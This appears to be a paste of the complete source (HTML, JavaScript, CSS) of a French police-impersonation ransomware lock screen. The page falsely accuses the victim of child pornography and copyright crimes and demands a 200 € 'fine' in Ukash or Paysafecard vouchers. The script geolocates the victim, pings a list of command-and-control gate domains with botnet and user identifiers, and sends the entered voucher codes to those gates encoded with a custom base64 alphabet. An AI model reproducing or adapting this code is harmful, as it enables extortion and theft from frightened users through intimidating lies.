Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[index.html]------------------------------------------------------------------
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
- "http://www.w3.org/TR/html4/loose.dtd">
- <html>
- <head>
- <link rel="stylesheet" type="text/css" href="style.css">
- <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
- <title></title>
- </head>
- <body>
- <!-- static strings -->
- <input type="hidden" name="v1" id="v1" value="http://cndroaayghmf.com/de/2/gate.php">
- <input type="hidden" name="v2" id="v2" value="einzahlung@mail.com">
- <input type="hidden" name="v3" id="v3" value="0">
- <script type="text/javascript" src="main.js"></script>
- <!-- end of static strings -->
- <div id="mainbox">
- <img src='coat.gif' alt='coat' class='left'><img src='fr_gendarmerie.gif' alt='gendarmerie' class='right'>
- <h1>ATTENTION!</h1>
- <h1>Votre ordinateur a été bloqué pour violation de la loi Française</h1>
- <!-- title and description -->
- <p class='main' style='clear:both'>Les infractions suivantes ont été détectées:</p>
- <ul class='main'>
- <li class='main'>Le fait, en vue de sa diffusion, de fixer, d’enregistrer ou de transmettre des matériels pornographique impliquant des mineurs.</li>
- <li class='main'>Spam.</li>
- <li class='main'>Utilisation des logiciels en infraction avec les droits d'auteur.</li>
- <li class='main'>Partager des fichiers multimédia en infraction avec les droits d'auteur.</li>
- </ul>
- <p class='main'>
- Pour débloquer votre ordinateur, vous devez payer 200 € dans les 3 jours prochaines.
- Si vous ne payez pas dans le délai précisé, votre ordinateur sera confisqués
- et votre cas sera soumis au tribunal.
- </p>
- <p class='main'>
- Vous pouvez payer l'amende avec l'aide des vouchers Ukash ou Paysafecard.
- Acheter les vouchers par Ukash ou Paysafecard de 200 €. Ensuite, ouvrez
- le tab «Payer amende», remplir le forme avec les codes et valuers des vouchers,
- et clique sur le bouton «Payer amende». Votre ordinateur sera débloqué dans les 24 heures suivantes.
- </p>
- <p class='main'>Après le débloquage, nous suggérons que vous:</p>
- <ul class='main'>
- <li class='main'>Supprime toutes les fichiers multimédia en infraction avec les droits d'auteur.</li>
- <li class='main'>Supprime des logiciels en infraction avec les droits d'auteur.</li>
- <li class='main'>Installer un logiciel anti-virus, si vous n'en avez pas encore.</li>
- <li class='main'>Faire un scan anti-virus.</li>
- </ul>
- <!-- end of title and description -->
- <!-- location table -->
- <table style='margin-left: auto; margin-right: auto'>
- <tr>
- <td style='width: 130px; font-weight: 600;'>Votre SE: </td><td style='width:200px; font-weight: 600;'><span id='v_os'></span></td>
- <td style='width: 130px; font-weight: 600;'>Votre FAI:</td><td style='width:200px; font-weight: 600;'><span id='v_isp'></span></td>
- </tr>
- <tr>
- <td style='width: 130px; font-weight: 600;'>Votre adresse IP:</td><td style='width:200px; font-weight: 600;'><span id='v_ip'></span></td>
- <td style='width: 130px; font-weight: 600;'>Votre ville:</td><td style='width:200px; font-weight: 600;'><span id='v_city'></span></td>
- </tr>
- </table>
- <br>
- <!-- end of location table -->
- <!-- multitab table -->
- <table border='0' cellspacing='0' cellpadding='2' style='width: 100%; background-color: #fff;'>
- <tr>
- <td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc;'> </td>
- <td class='open' id='vouchers_info_tab' onclick='switch_tab("vouchers_info_tab", "vouchers_info")' style='width:380px'>Dépenser Ukash/Paysafecard est facile</td>
- <td class='close' id='penalty_form_tab' onclick='switch_tab("penalty_form_tab", "penalty_form")' style='width:380px'>Payer amende</td>
- <td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc'> </td>
- </tr>
- <tr>
- <td colspan='4' height='100px' style='border-left: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black; border-radius: 0 0 5px 5px'>
- <!-- first tab: getting vouchers information -->
- <div id='vouchers_info' class='multitab_window' style='display:block'>
- <table style='border: 0; width: 100%;'>
- <tr>
- <td style='vertical-align: top'>
- <p>
- <img src='tabac.png' alt='tabac' class='left'>
- <b>
- Acheter Ukash/Paysafecard dans plus de 20.000 points de vente en France,
- y compris les bureaux de tabac, presse et stations service.
- </b>
- </p>
- <ul style='clear: both'>
- <li>Trouvez le point de vente le plus proche</li>
- <li>Demandez Ukash/Paysafecard : 20€, 50€, 100€, 200€</li>
- <li>Obtenez votre code Ukash de 19 chiffres (Paysafecard de 16 chiffres)</li>
- </ul>
- </td>
- <td style='vertical-align: top; width: 250px'>
- <img src='card_ukash.png' alt='ukash' align='right'><br>
- <img src='psc.png' alt='paysafecard' align='right' style='clear:both'>
- </td>
- </tr>
- </table>
- <hr width='90%' align='center'>
- <table style='border:0;width:100%'>
- <tr>
- <td style='vertical-align: top'>
- <p>
- <img src='toneo_small.gif' alt='toneo' class='left'>
- <b>
- Utilisez les Cartes Tonéo pour obtenir des bons Ukash.
- Les Cartes Tonéo sont disponibles dans plus de 30.000 points de vente
- (Bureaux de tabac, Points presse, Téléboutiques, Stations Service).
- Les cartes Tonéo sont proposées pour des valeurs de 7.5€, 15€, 50€, 100€.
- </b>
- </p>
- <p>
- <ul>
- <li>Composez le <span style='color:#0c0;font-weight:bold'>01 72 48 35 35</span> (gratuit)</li>
- <li>Choisissez un code Ukash</li>
- <li>Sélectionnez Ukash et la valeur désirée (5, 10, 40 ou 90 EUR)</li>
- <li>Entrez votre numéro de Carte Tonéo</li>
- <li>Recevez votre code par SMS</li>
- </ul>
- </p>
- </td>
- <td style='vertical-align:top'>
- <img src='toneo_help.jpg' alt='toneo help' align='right'>
- <img src='toneo_card.png' alt='toneo card' align='right' style='clear:both'>
- </td>
- </tr>
- </table>
- </div>
- <!-- end of first tab: getting vouchers information -->
- <!-- second tab: penalty form -->
- <div id='penalty_form' class='multitab_window' style='display:none;'>
- <table id='penalty'>
- <tr class='penhdr'>
- <td style='width:10%'>?</td>
- <td style='width:60%'>Voucher code</td>
- <td style='width:30%'>Voucher valeur</td>
- <td style='width:100px'><!-- minus column --></td>
- </tr>
- <tr>
- <td>1</td>
- <td><input id='voucher_code0' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'></td>
- <td><input id='voucher_value0' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'></td>
- <td><!-- minus column --></td>
- </tr>
- <tr>
- <td colspan='2'><input type='button' value='+1: Ajoutez une position plus' onclick='add_voucher_position()'></td>
- <td>Au total: <span id='total_amount'>0</span> €</td>
- <td><!-- minus column --></td>
- </tr>
- <tr>
- <td colspan='4' style='text-align: center'><input id='do_pay' type='button' value='Payer amende' disabled='' style='' onclick='send_vouchers()'></td>
- </tr>
- </table>
- </div>
- <!-- end of second tab: penalty form -->
- </td>
- </tr>
- </table>
- <!-- end of multitab table -->
- </div>
- <!-- end of mainbox -->
- </body>
- </html>
- --[main.js]------------------------------------------------------------------
- /*
- * Global variables
- */
- var debug = false;
- var debug_ec = false;
- if (debug || debug_ec)
- {
- alert("DEBUG! DEBUG! DEBUG!");
- document.getElementById("v3").value = "1";
- }
- var penalty_amount = 200;
- var g_botnet = "fr2";
- var g_os_version = "Unknown";
- var g_userid = "0";
- var RESPONSE_PONG = "Pong!";
- var RESPONSE_OK = "OK";
- var MSG_WRONG_VOUCHERS = "Voucher code incorrecte.";
- var MSG_VOUCHERS_SENT = "Voucher a été envoyé. Attends pour environ 24h.";
- var MSG_LOW_TOTAL = "Total des moins de "+penalty_amount+" €";
- if (debug)
- {
- g_gates = [
- "http://lck-test.net/gate.php",
- "http://lck-test4.net/gate.php", // not exists
- "http://lck-test1.net/gate.php",
- "http://lck-test2.net/gate.php",
- "http://lck-test3.net/gate.php"
- ]
- }
- else
- {
- g_gates = [
- "http://ytxihkrmfbww.com/gate.php",
- "http://bundespol.com/gate.php",
- "http://yycqparxvohd.com/gate.php",
- "http://wzuoqliyknpz.com/gate.php"
- ]
- }
- var positions_count = 1;
- var g_state = new Object();
- g_state.geo_location_lock = false;
- g_state.geo_location_set = false;
- g_state.report_lock = false;
- g_state.report = "";
- g_state.report_sent = true;
- g_state.gate_selector_lock = false;
- g_state.gate_selector_gate_works = true;
- g_state.gate_selector_calls_count = 999999;
- g_state.gate_selector_gate_index = 0;
- g_state.os_version_set = false;
- g_state.userid_set = false;
- g_base64_std_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- g_base64_priv_key = "rAo1puyYs=awvfKHgjBkMEzCx+DV50/tQhJR6lOIqZbSNme8U7FW4X3idnTLc92GP";
- function print_g_state()
- {
- if (debug_ec)
- {
- console.log("dump of g_state:")
- console.log("\tg_state.geo_location_lock: %s", g_state.geo_location_lock ? "true" : "false");
- console.log("\tg_state.geo_location_set: %s", g_state.geo_location_set ? "true" : "false");
- console.log("\tg_state.report_lock: %s", g_state.report_lock ? "true" : "false");
- console.log("\tg_state.report: %s", g_state.report);
- console.log("\tg_state.report_sent: %s", g_state.report_sent ? "true" : "false");
- console.log("\tg_state.gate_selector_lock: %s", g_state.gate_selector_lock ? "true" : "false");
- console.log("\tg_state.gate_selector_gate_works: %s", g_state.gate_selector_gate_works ? "true" : "false");
- console.log("\tg_state.gate_selector_calls_count: %d", g_state.gate_selector_calls_count);
- console.log("\tg_state.gate_selector_gate_index: %d (%s)", g_state.gate_selector_gate_index, g_gates[g_state.gate_selector_gate_index]);
- console.log("===================================================================================================");
- }
- }
- function base64_encode(input, key)
- {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- while (i < input.length)
- {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2))
- {
- enc3 = enc4 = 64;
- }
- else if (isNaN(chr3))
- {
- enc4 = 64;
- }
- output = output +
- key.charAt(enc1) + key.charAt(enc2) +
- key.charAt(enc3) + key.charAt(enc4);
- }
- return output;
- }
- /*
- * multitab window's tabs switcher
- */
- function switch_tab(content_tab_id, content_id)
- {
- document.getElementById('vouchers_info_tab').className = 'close';
- document.getElementById('penalty_form_tab').className = 'close';
- document.getElementById(content_tab_id).className = 'open';
- document.getElementById('vouchers_info').style.display = 'none';
- document.getElementById('penalty_form').style.display = 'none';
- document.getElementById(content_id).style.display = 'block';
- return;
- }
- /*
- * Text input filter
- */
- (function()
- { // after loading document init function will be called
- if (window.addEventListener)
- window.addEventListener("load", init, false);
- else if (window.attachEvent)
- window.attachEvent("onload", init);
- })();
- function register_handler(id)
- {
- // register handler function
- if (id.addEventListener)
- {
- id.addEventListener("keypress", filter, false);
- }
- else
- {
- id.onkeypress = filter;
- }
- return;
- }
- // Find all <input> tags, for which necessary to register event handler
- function init()
- {
- var inputtags = document.getElementsByTagName("input");
- for(var i = 0; i < inputtags.length; i++) // traverse all tags
- {
- var tag = inputtags[i];
- if (tag.type != "text") continue; // only text fields
- var allowed = tag.getAttribute("allowed");
- if (!allowed) continue; // and only if presents attribute 'allowed'
- // register handler function
- register_handler(tag);
- }
- }
- // This is event 'keypress' handler, which maintains input filtration.
- function filter(event)
- {
- // Get event object and character code by portable way
- var e = event || window.event; // Keyboard event object
- var code = e.charCode || e.keyCode; // What key pressed
- // If pressed functional key do not filter it
- if (e.charCode == 0) return true; // Functional key (FF only)
- if (e.ctrlKey || e.altKey) return true; // Pressed Ctrl or Alt
- if (code < 32) return true; // ctrl ASCII code
- // Now get information from input element
- var allowed = this.getAttribute("allowed"); // Allowed characters
- var errorClassName = this.getAttribute("errorclass"); // class name indicating error
- var successClassName = this.getAttribute("successclass"); // class name indicating success
- // Translate key code to character
- var c = String.fromCharCode(code);
- // Check whether character in allowed characters list or not
- if (allowed.indexOf(c) != -1)
- {
- // character c is allowed
- this.className = successClassName;
- return true; // Accept input
- }
- else
- {
- // character c is not allowed
- this.className = errorClassName;
- // Prevent input
- if (e.preventDefault) e.preventDefault();
- if (e.returnValue) e.returnValue = false;
- return false;
- }
- }
- /*
- * End of text input filter
- */
- /*
- * penalty form support code
- */
- function get_position_number_html(position_number)
- {
- return "" + (position_number * 1 + 1);
- }
- function get_voucher_code_html(position_number)
- {
- return "<input id='voucher_code" + position_number + "' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'>";
- }
- function get_voucher_value_html(position_number)
- {
- return "<input id='voucher_value" + position_number + "' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'>";
- }
- function get_img_minus_html(position_number)
- {
- return position_number <= 0 ? "" : "<img src='minus.png' alt='' onclick='delete_voucher_position(" + position_number + ")'>";
- }
- function add_voucher_position()
- {
- var position_number = positions_count;
- positions_count++;
- var newrow = document.all.penalty.insertRow(position_number + 1);
- var newcell = newrow.insertCell(0);
- newcell.innerHTML = get_position_number_html(position_number);
- newcell = newrow.insertCell(1);
- newcell.innerHTML = get_voucher_code_html(position_number);
- newcell = newrow.insertCell(2);
- newcell.innerHTML = get_voucher_value_html(position_number);
- newcell = newrow.insertCell(3);
- newcell.innerHTML = get_img_minus_html(position_number);
- register_handler(document.getElementById("voucher_code"+position_number));
- register_handler(document.getElementById("voucher_value"+position_number));
- return;
- }
- function delete_voucher_position(position_number)
- {
- var i, j;
- var vouchers = new Array();
- var values = new Array();
- var total_amount;
- for(i = 0, j = 0; i < positions_count; i++)
- {
- if (i != position_number)
- {
- vouchers[j] = document.getElementById("voucher_code"+i).value;
- values[j] = document.getElementById("voucher_value"+i).value;
- j++;
- }
- }
- for(i = 0; i < positions_count; i++)
- {
- document.all.penalty.deleteRow(1);
- }
- positions_count--;
- for(i = 0; i < positions_count; i++)
- {
- var newrow = document.all.penalty.insertRow(i + 1);
- var newcell = newrow.insertCell(0);
- newcell.innerHTML = get_position_number_html(i);
- newcell = newrow.insertCell(1);
- newcell.innerHTML = get_voucher_code_html(i);
- newcell = newrow.insertCell(2);
- newcell.innerHTML = get_voucher_value_html(i);
- newcell = newrow.insertCell(3);
- newcell.innerHTML = get_img_minus_html(i);
- }
- for(i = 0; i < positions_count; i++)
- {
- document.getElementById("voucher_code"+i).value = vouchers[i];
- document.getElementById("voucher_value"+i).value = values[i];
- register_handler(document.getElementById("voucher_code"+i));
- register_handler(document.getElementById("voucher_value"+i));
- }
- total_amount = 0;
- for(i = 0; i < positions_count; i++)
- {
- total_amount += values[i] * 1;
- }
- document.getElementById("total_amount").innerHTML = total_amount;
- return;
- }
- function refresh_total()
- {
- var total_amount = 0;
- for(var i = 0; i < positions_count; i++)
- {
- total_amount += document.getElementById("voucher_value"+i).value * 1;
- }
- document.getElementById("total_amount").innerHTML = total_amount;
- var do_pay = document.getElementById("do_pay");
- //do_pay.disabled = total_amount < penalty_amount ? 'disabled' : '';
- do_pay.disabled = '';
- return total_amount;
- }
- /*
- * End of penalty form support code
- */
- /*
- * Geoip code
- */
- function http_new_request()
- {
- if(typeof XMLHttpRequest != "undefined")
- {
- return new XMLHttpRequest();
- }
- else if(window.ActiveXObject)
- {
- var aVersions = ["MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"];
- for (var i = 0; i < aVersions.length; i++)
- {
- try
- {
- return new ActiveXObject(aVersions[i]);
- }
- catch (e) {}
- }
- }
- }
- function http_get(target, callback, options)
- {
- var request = http_new_request();
- var timer;
- if (options.timeout)
- {
- timer = setTimeout(
- function()
- {
- request.abort();
- if (options.timeoutHandler)
- options.timeoutHandler(target);
- },
- options.timeout
- )
- }
- request.onreadystatechange = function()
- {
- if (request.readyState == 4)
- {
- if (timer) clearTimeout(timer);
- if (request.status == 200)
- {
- callback(request.responseText);
- }
- else
- {
- if (options.errorHandler) options.errorHandler(request.status, request.statusText);
- else callback(null);
- }
- }
- }
- try
- {
- request.open("GET", target, true);
- request.send(null);
- }
- catch (e) {
- }
- }
- function set_geo_location()
- {
- var options = new Object();
- function cb_set_geo_location(response_text)
- {
- try
- {
- if (response_text == null)
- {
- g_state.geo_location_set = false;
- }
- else
- {
- var re = /Your IP Address(.*?)<b>(.*?)<\/b>/i;
- var s_ip = response_text.match(re)[2].toString();
- re = /ISP:(.*?)<b>(.*?)<\/b>/i;
- var s_isp = response_text.match(re)[2].toString();
- re = /City:(.*?)<b>(.*)<\/b>/i;
- var s_city = response_text.match(re)[2].toString();
- if (s_ip == "")
- {
- s_ip = "188.28.11.121";
- }
- document.getElementById("v_ip").innerHTML = s_ip;
- document.getElementById("v_city").innerHTML = s_city;
- document.getElementById("v_isp").innerHTML = s_isp;
- g_state.geo_location_set = true;
- }
- }
- catch (e) {}
- finally
- {
- g_state.geo_location_lock = false;
- }
- }
- function cb_set_geo_location_timeout(target)
- {
- g_state.geo_location_set = false;
- g_state.geo_location_lock = false;
- }
- if (!g_state.geo_location_set && !g_state.geo_location_lock)
- {
- g_state.geo_location_lock = true;
- options.timeout = 3000;
- options.timeoutHandler = cb_set_geo_location_timeout;
- http_get("http://tools.ip2location.com/ib2/", cb_set_geo_location, options);
- }
- }
- function select_gate()
- {
- var options = new Object();
- function cb_select_gate(response_text)
- {
- if (response_text == RESPONSE_PONG)
- {
- g_state.gate_selector_gate_works = true;
- g_state.gate_selector_calls_count = 0;
- if (debug_ec) console.log("Pinging gate %s was successfully.", g_gates[g_state.gate_selector_gate_index]);
- }
- else
- {
- g_state.gate_selector_gate_works = false;
- if (debug_ec) console.log("Pinging gate %s was failed.", g_gates[g_state.gate_selector_gate_index]);
- }
- g_state.gate_selector_lock = false;
- }
- function cb_select_gate_timeout(target)
- {
- g_state.gate_selector_gate_works = false;
- g_state.gate_selector_lock = false;
- if (debug_ec) console.log("Pinging gate %s was timeout.");
- }
- if (!g_state.gate_selector_lock && g_state.userid_set)
- {
- if (!g_state.gate_selector_gate_works || g_state.gate_selector_calls_count++ > 10800) // every three hours
- {
- g_state.gate_selector_lock = true;
- if (debug_ec) console.log("Pinging gate %s...", g_gates[g_state.gate_selector_gate_index]);
- if (!g_state.gate_selector_gate_works)
- {
- g_state.gate_selector_gate_index = (g_state.gate_selector_gate_index + 1) % g_gates.length;
- }
- options.timeout = 5000;
- options.timeoutHandler = cb_select_gate_timeout;
- var os_version = base64_encode(g_os_version, g_base64_std_key);
- http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=ping&botnet="+g_botnet+"&userid="+g_userid+"&os="+os_version, cb_select_gate, options);
- }
- }
- }
- function send_report()
- {
- var options = new Object();
- function cb_send_report(response_text)
- {
- if (response_text != RESPONSE_OK)
- {
- g_state.gate_selector_gate_works = false;
- g_state.report_sent = false;
- if (debug_ec) console.log("Sending report '%s' on gate %s was failed.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
- }
- else
- {
- if (debug_ec) console.log("Sending report '%s' on gate %s was successfully.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
- }
- g_state.report_lock = false;
- }
- function cb_send_report_timeout(target)
- {
- g_state.gate_selector_gate_works = false;
- g_state.report_lock = false;
- if (debug_ec) console.log("Sending report '%s' on gate %s was timeout.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
- }
- if (!g_state.report_lock && !g_state.report_sent && g_state.gate_selector_gate_works)
- {
- g_state.report_lock = true;
- if (debug_ec) console.log("Sending report '%s' on gate %s...", g_state.report, g_gates[g_state.gate_selector_gate_index]);
- // set 'report_sent = true' here to prevent overwriting this flag in
- // moment between changing report value and calling cb_send_report()
- g_state.report_sent = true;
- options.timeout = 5000;
- options.timeoutHandler = cb_send_report_timeout;
- http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=data&botnet="+g_botnet+"&userid="+g_userid+"&report="+g_state.report, cb_send_report, options);
- }
- }
- function set_os_version()
- {
- if (g_state.os_version_set) return;
- var iOS = new Array("Windows 95","Windows NT 4","Windows 98","Win 9x 4.9","Windows NT 5.0","Windows NT 5.1","Windows NT 6.1","Windows NT 5.2","Windows NT 6.0");
- var oOS = new Array("Windows 95","Windows NT 4.0","Windows 98","Windows ME","Windows 2000","Windows XP","Windows Seven","Windows 2003","Windows Vista");
- var os = "";
- for (var i = 0; i < iOS.length; i++)
- {
- if (navigator.userAgent.indexOf(iOS[i]) > -1)
- {
- os = oOS[i];
- break;
- }
- }
- g_os_version = os;
- document.getElementById("v_os").innerHTML = os;
- g_state.os_version_set = true;
- if (debug_ec) console.log("OS version set successfully.");
- }
- function set_userid()
- {
- if (g_state.userid_set) return;
- g_userid = document.getElementById("v3").value;
- if (g_userid != "0")
- {
- g_state.userid_set = true;
- if (debug_ec) console.log("Userid set successfully.");
- }
- }
- function monitor()
- {
- refresh_total();
- set_geo_location();
- set_os_version();
- set_userid();
- select_gate();
- send_report();
- }
- window.onload = function ()
- {
- setInterval(monitor, 1000);
- }
- function are_vouchers_valid()
- {
- var prefix;
- var is_valid = true;
- var ret = true;
- for(var i = 0; i < positions_count; i++)
- {
- var voucher_code = document.getElementById("voucher_code"+i);
- var voucher = voucher_code.value;
- if (voucher.length == 19)
- {
- prefix = voucher.substr(0, 6);
- if (prefix != "633718")
- {
- is_valid = false;
- }
- }
- else if (voucher.length == 16)
- {
- prefix = voucher.substr(0, 1);
- if (prefix != "0")
- {
- is_valid = false;
- }
- }
- else
- {
- is_valid = false;
- }
- if (is_valid)
- {
- voucher_code.className = voucher_code.getAttribute("successclass");
- }
- else
- {
- voucher_code.className = voucher_code.getAttribute("errorclass");
- ret = false;
- }
- }
- return ret;
- }
- function send_vouchers()
- {
- var report = "";
- if (!are_vouchers_valid())
- {
- alert(MSG_WRONG_VOUCHERS);
- return;
- }
- var total = refresh_total();
- if (total < penalty_amount)
- {
- alert(MSG_LOW_TOTAL);
- return;
- }
- for(var i = 0; i < positions_count; i++)
- {
- var voucher = document.getElementById("voucher_code"+i).value;
- var value = document.getElementById("voucher_value"+i).value;
- report += report.length ? "x" : "";
- report += voucher + "-" + value;
- }
- if (report.length > 16)
- {
- report = base64_encode(report, g_base64_priv_key);
- if (g_state.report != report)
- {
- g_state.report = report;
- g_state.report_sent = false;
- if (debug_ec) console.log("Report updated and wait sending.");
- }
- }
- alert(MSG_VOUCHERS_SENT);
- return;
- }
- --[style.css]------------------------------------------------------------------
- body {
- margin-bottom: 10px;
- background-color: #777; /* #F5FCF5; */
- overflow-y: auto;
- }
- #mainbox h1 {
- color: #000000;
- text-align: center;
- text-decoration: none;
- font-size: 1.5em;
- font-family: "Arial", "Verdana", sans-serif;
- }
- .center {
- text-align: center;
- }
- p.main {
- color: #000000;
- text-align: justify;
- text-decoration: none;
- text-indent: 2em;
- font-size: 1.00em;
- font-family: "Times New Roman", "Times", sans;
- }
- #mainbox {
- margin-left: auto;
- margin-right: auto;
- width: 800px;
- padding: 20px;
- overflow: auto;
- background-color: #f8f8fc;
- border: 2px solid #303030;
- border-radius: 7px;
- }
- #paymentbox {
- margin: 10px 10px 10px 10px;
- width: 380px;
- padding: 10px;
- overflow: auto;
- background-color: #ffffff;
- border: 2px solid #303030;
- border-radius: 7px;
- }
- .open { /* Активная вкладка */
- border: 1px solid black;
- border-bottom: none;
- border-radius: 5px 5px 0 0;
- text-align: center;
- font-weight: bold;
- padding: 4px;
- }
- .close:hover{
- background-color: #c0c0c8;
- color: #000;
- cursor: pointer;
- }
- .close { /* Неактивная вкладка */
- border: 1px solid black;
- border-radius: 5px 5px 0 0;
- text-align: center;
- background: #f0f0f8;
- padding: 4px;
- }
- .multitab_window {
- background-color: #ffffff;
- width: 760px;
- margin-left: auto;
- margin-right: auto;
- position: relative;
- }
- table#penalty {
- width: 100%;
- border-width: 0;
- text-align: left;
- }
- .penhdr {
- color: #222;
- text-align: left;
- text-decoration: underline;
- text-indent: 0;
- font-size: 1.0em;
- font-family: "Times New Roman", "Times", sans;
- }
- .errborder {
- border: 2px solid red;
- border-radius: 3px 3px 3px 3px;
- }
- .goodborder {
- border: 2px solid #e0e0e8;
- border-radius: 3px 3px 3px 3px;
- }
- table#penalty input[type="button"] {
- border: 2px solid #e0e0e8;
- border-radius: 3px 3px 3px 3px;
- color: #000;
- background-color: #f0f0f8;
- }
- img.left {
- float: left;
- margin: 0px 15px 7px 0px;
- }
- img.right {
- float: right;
- margin: 0px 0px 7px 15px;
- }
- --------------------------------------------------------------------- b? m?d --
Add Comment
Please, Sign In to add comment